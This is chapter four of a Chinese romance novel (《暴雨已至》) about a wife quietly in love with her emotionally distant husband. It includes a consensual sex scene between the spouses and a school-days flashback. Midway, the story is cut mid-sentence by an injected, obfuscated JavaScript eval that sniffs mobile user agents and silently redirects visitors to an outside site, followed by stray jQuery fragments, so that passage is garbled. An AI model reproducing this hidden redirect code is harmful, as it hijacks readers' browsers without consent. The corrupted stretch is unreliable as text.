4.第四章

作品:《暴雨已至

    程颜彻底石化在原地,心里咯噔响了一声。


    温岁昶居高临下地看着她,此刻,连他身上的男士香水都有种迫人的味道。


    太多疑惑积压在心底,她找不到答案。


    张深为什么会告诉他这些,难道他知道她和温岁昶的关系了?那他又是怎么知道的?


    沉默无声蔓延,温岁昶低头,终于看到一向沉默寡言的妻子脸上露出了疑惑、不知所措的神情。


    她频繁眨动着双眼,纤长的睫毛垂下,好一阵,她才开口解释:“他比我更懂汽车这些,我怕我写不好。”


    这是一个更蹩脚的理由。


    温岁昶嘴角勾了勾,轻笑了声。


    他鲜少有不知道该如何组织语言的时刻,但此刻,他竟感到语塞。


    所以,她没有想过要求助他。


    如此微小、不值一提的事,她最先选择的是找别人帮忙。


    ……


    热气朦胧,程颜洗完澡从浴室出来,卧室的门是关着的。


    推开门,温岁昶正靠在床背看书,是齐格蒙特·鲍曼的社会学著作,她记得他上周看的也是这一本。


    关于他的事情,不用刻意去记,但总记得那么清楚。


    室内点了香薰,已经是秋末了,温岁昶仍是偏爱冷调的香气,程颜渐渐也习惯了这个味道。


    她擦着头发从他面前经过,目光却忍不住在他身上停留。


    温岁昶今晚穿着白色的浴袍,开领的设计,露出完美的锁骨线条,白天打理得一丝不苟的头发,现在随性地垂在眼睑上方,让人想起学生时代的他。


    从那时开始,他就已经这么耀眼了,只要是他参加的竞赛,一等奖的人选几乎是毫无悬念,他性格谦和,对所有人都彬彬有礼,学校里的老师和同学提起他,眼底皆是赞赏,这么多年过去,他变得稳重成熟,事业有成,举手投足间尽显魅力。


    他是那么优秀、那么耀眼,她从来没有想过她学生时代仰望的人,有一天会成为她的丈夫。


    就像梦一样。


    可人大抵都是贪心的,明明在结婚以前,她就知道他对她没有任何感情。


    但现在她常常想,如果,如果他爱她就好了。


    直至她的头发吹干,两人都没有任何交流,连眼神接触都未曾有。温岁昶的目光始终望向手里的书籍,专注得仿佛没有发现房间里还有第二个人。


    时间不早,程颜调好闹钟,准备睡觉。


    被子前几天晾晒过,松松软软的,闻起来还有阳光的味道,她掀开被子,把自己藏了进去。


    下一秒,视野里一片漆黑。


    是温岁昶关了灯。


    她心里一动,小声说:“没事,你可以继续看书的,我开着灯也能睡着。”


    “不早了,也该休息了。”他说。


    “嗯。”


    室内开了暖气,程颜怕冷,仍旧把被子拉高盖到颈下。


    她一向习惯蜷着身子侧睡,脸面向窗户,突然,旁边的温岁昶上了床,他翻身,温热的呼吸就打在她颈后,清新的沐浴露香气将她包围。


    嘴角弯成某种弧度,幸福像快要融化的冰淇淋蛋糕一点一点溢了出来。


    只要他向她靠近一点点,她就觉得高兴。


    正胡思乱想,温岁昶的手覆在她的腰间,看上去像是从身后抱住了她,程颜身体不由瑟缩了一下,喜悦夹杂着紧张,她不由屏住了呼吸。


    但在对方看来,这却是抗拒的表现。


    白天下了雨,今晚没有月亮,树影朦胧,温岁昶低沉的声音在身后响起。


    “程颜,你是在……怕我?”


    时间回到六个小时之前——


    和《深度在场》杂志社的专访是一早就定下的,温岁昶在此之前并不知道这家杂志和程颜有什么关联。


    下午的会议延长了二十分钟才结束,刚走出会议室,杨钊就提醒他今天约了专访,对方已经在会客室等了他半个小时了。


    来不及休息,他转身去了会客室。


    一切都进行得很顺利,与他而言,这不过是一次普通的采访,最近公司在筹备上市,他需要一些良性的正面的曝光,他很乐意配合。


    两个小时后,采访结束,温岁昶让杨钊送那两位记者和摄影师下楼。


    想起晚上还有应酬,他不多时也从办公室离开。


    到了楼下,杂志社的人还没离开,正站在路边等车。


    扛着摄影设备的男人感慨了句:“没想到智驭科技的温总这么年轻英俊,看来我们年终盘点的封面有了,他看起来应该和我们年纪差不多吧,真是青年才俊。”


    “而且不靠家里,事业都发展得这么好,你没看到他的日程表吗,一整天连休息的时间都没有。”


    “怪不得人家成功呢,现在外面想采访的人可太多了,也不知道主编怎么争取到的机会。”


    “说起来还得谢谢程颜,是她主动和我换的,不然我也没有这个机会。”


    温岁昶眉头一皱。


    忽然记起了书房的书架上摆放得整整齐齐的杂志,似乎就叫《深度在场》。


    那两人的对话还在继续。


    摄影师问:“程颜?她为啥和你换?”


    张深摇了摇头:“不知道,我也想不明白,她看起来不太想采访温总的样子,我看她提起温总,好像有点抗拒。 ”


    “抗拒”,温岁昶留意到了这个词。


    所以,程颜在抗拒他吗?


    眼前的人背影单薄,肩膀呈不自然的防御性的蜷缩姿态,似乎正印证这个猜想。


    他极少像现在这样观察她。


    大多数时候,他都留意不到她的存在。


    她太安静了。


    安静得他时常会忽略她的存在。


    他不知道她的兴趣、爱好、平常会和谁往来,事实上,他从来没有见过她的朋友。


    即便生活在一起三年,她在他的脑海里只有一个模糊的印象。


    她是什么样的人,他并不清楚,甚至直到今天,他才知道她公司的名字。


    黑暗中,温岁昶的手已经越界,于是她的身体绷得更紧,像一张拉满的弓,不知是紧张,还是在抗拒。


    他想要分辨。


    温岁昶想,只要她喊停,他便停下来。


    但是,她没有。


    她似乎只是紧张。


    双手撑在她上方,他俯身亲吻她的眼睛、嘴唇和耳后的皮肤,身体成了高温下的流心巧克力,程颜热得快要融化,却本能地想要亲近他、回应他。


    睡袍的系带解开,雪白的皮肤落下旖旎的吻痕。


    不管平日里有多冷淡,他们在这方面却是异常和谐。


    掌心温热,暧昧的轻咛传入耳中,房间里一片漆黑,温岁昶看不见她的表情。


    一直以来,他都没有思考过程颜对他是什么样的感情,也从来没有了解过她是什么样的人,在他看来,他们已经结婚了,无论如何,她是他的妻子。


    在他看来,恋人之间或许需要爱,但夫妻之间是不需要的。


    因为爱情而走到一起的婚姻往往一地鸡毛,而门当户对、利益捆绑的婚姻往往能相安无事。


    很冷血的推断,但却是真理。


    室内的空气不断升温,暖气成了无用的摆设,程颜实在受不了,用力推了推他。


    “温岁昶……”


    一板一眼的人,连在床上喊的都是他的全名。


    她略有挣扎,不安扭动,声音不像往日冷淡,有亲昵求饶的意味,对他来说,无疑是另一种刺激。


    他深呼吸了一口气,让自己冷静下来。


    “很痛?”温岁昶吻了吻她耳后的皮肤,轻声询问。


    “嗯。”


    温岁昶伸手揉了揉她的腿肚子,宽大的手掌温柔地安抚。


    “好,你先放松。”


    结束后,程颜借着月


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632056|172317||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光看他:“你还没好吗?”


    右手贴在她脸侧,温岁昶轻声说:“嗯,你先睡,我去洗个澡。”


    浴室里的水流声很大,温岁昶正在里面洗澡,程颜望向窗外的树影走了一会神。


    她喜欢刚才这样的亲近。


    月光下,他们的身体紧紧贴合在一起,他声线沙哑且温柔地询问着她的感受,身体的愉悦和精神上的满足同时达到顶点。


    她比任何时候都更清楚地意识到,她爱他。


    她爱着眼前这个人,无论是以前还是现在。


    水流声停下,温岁昶裸着上身从浴室出来,腰间只裹着白色的浴巾,他常年健身,裸露在外的腹肌块块分明,从视觉来看,大概是因为刚洗完澡的缘故,微微湿润,此刻开了灯,程颜只看了一眼便局促地收回了视线。


    “对了,程朔今晚给我打了电话,”温岁昶顿了顿,又说,“我在应酬没看到,有什么事吗?”


    听到前半句程颜心里正揪紧,但片刻后又放松了下来。


    “应该是打错了,”程颜眨了眨眼,撒谎,“有急事的话,他会打给我的。”


    “嗯。”


    大概觉得她说得有道理,温岁昶应了声,没再说什么。


    卧室里的灯再次关上。


    眼前一片黑暗,听觉变得敏锐。


    “你还没有回答我刚才的问题。”温岁昶说。


    程颜疑惑:“什么?”


    “你怕我?”温岁昶把问题重复了一遍。


    他好奇这个问题的答案。


    程颜一怔,嘴唇翕动,欲言又止,好一阵才回答:“没有。”


    “为什么不怕?”


    “啊?”程颜错愕,眼睛瞪得浑圆。


    温岁昶忽而轻笑,胸腔微微起伏。


    程颜这才意识到他在逗她,脸颊发烫,心里却是喜悦的。


    恍惚间好像回到了高一那年,数学课,她刚好分到和他同一个学习小组。


    他们小组一共六个人,温岁昶是组长。


    一到课间,不少人来问他题目,那时,他就坐在她后桌,她却从来不敢回过头问他,甚至连和他说话的次数都屈指可数。


    有次,下课前要收练习册,温岁昶走到她跟前,她忙把练习册递上去。


    温岁昶拿起练习册却没有离开,仍站在她座位前。


    “做好了?”


    程颜点头:“嗯。”


    温岁昶笑道:“不再算算?”


    “什么?”程颜懵了,抬头看他。


    “你确定原价1350的大衣打完折是1500块?”


    温岁昶嘴角噙着好看的笑容,却丝毫没有嘲笑她的意思,少年眉眼间如春水初融,右手撑在她桌面,把练习册重新递回给她。


    程颜的同桌许丽玫盯着那张脸看呆了。


    等拿回练习册,程颜这才发现她看错题干的数字了。


    “刚才下去打球前,路过看到的。”他和她解释。


    耳尖因为尴尬泛着微微的红,程颜立刻把错误的答案划掉,在草稿本上重新演算,温岁昶没有催促她,也没有直接告诉她答案,而是说:“不急,等你做完,我再收上去。”


    那个下午,程颜心湖被春水吹皱,久久无法平静。


    不知他还记得吗?


    他还记得他们之间发生的这些事吗?


    ……


    许是下午采访前喝了咖啡的缘故,程颜今晚失眠了,眼睛看着天花板怎么都没有睡意。


    窸窸窣窣的布料声响起,她翻了个身,旁边的温岁昶呼吸平稳,约莫是睡着了。


    黑暗中,她极小声地喊他的名字。


    “温岁昶。”


    如预料的一样,没有回应,她终于说出今晚一直憋在心里的话。


    “其实今天是我的生日。”


    虽然没有人会在意,也没有人会因此而感到欣喜,但却是她来到这个世界的日子。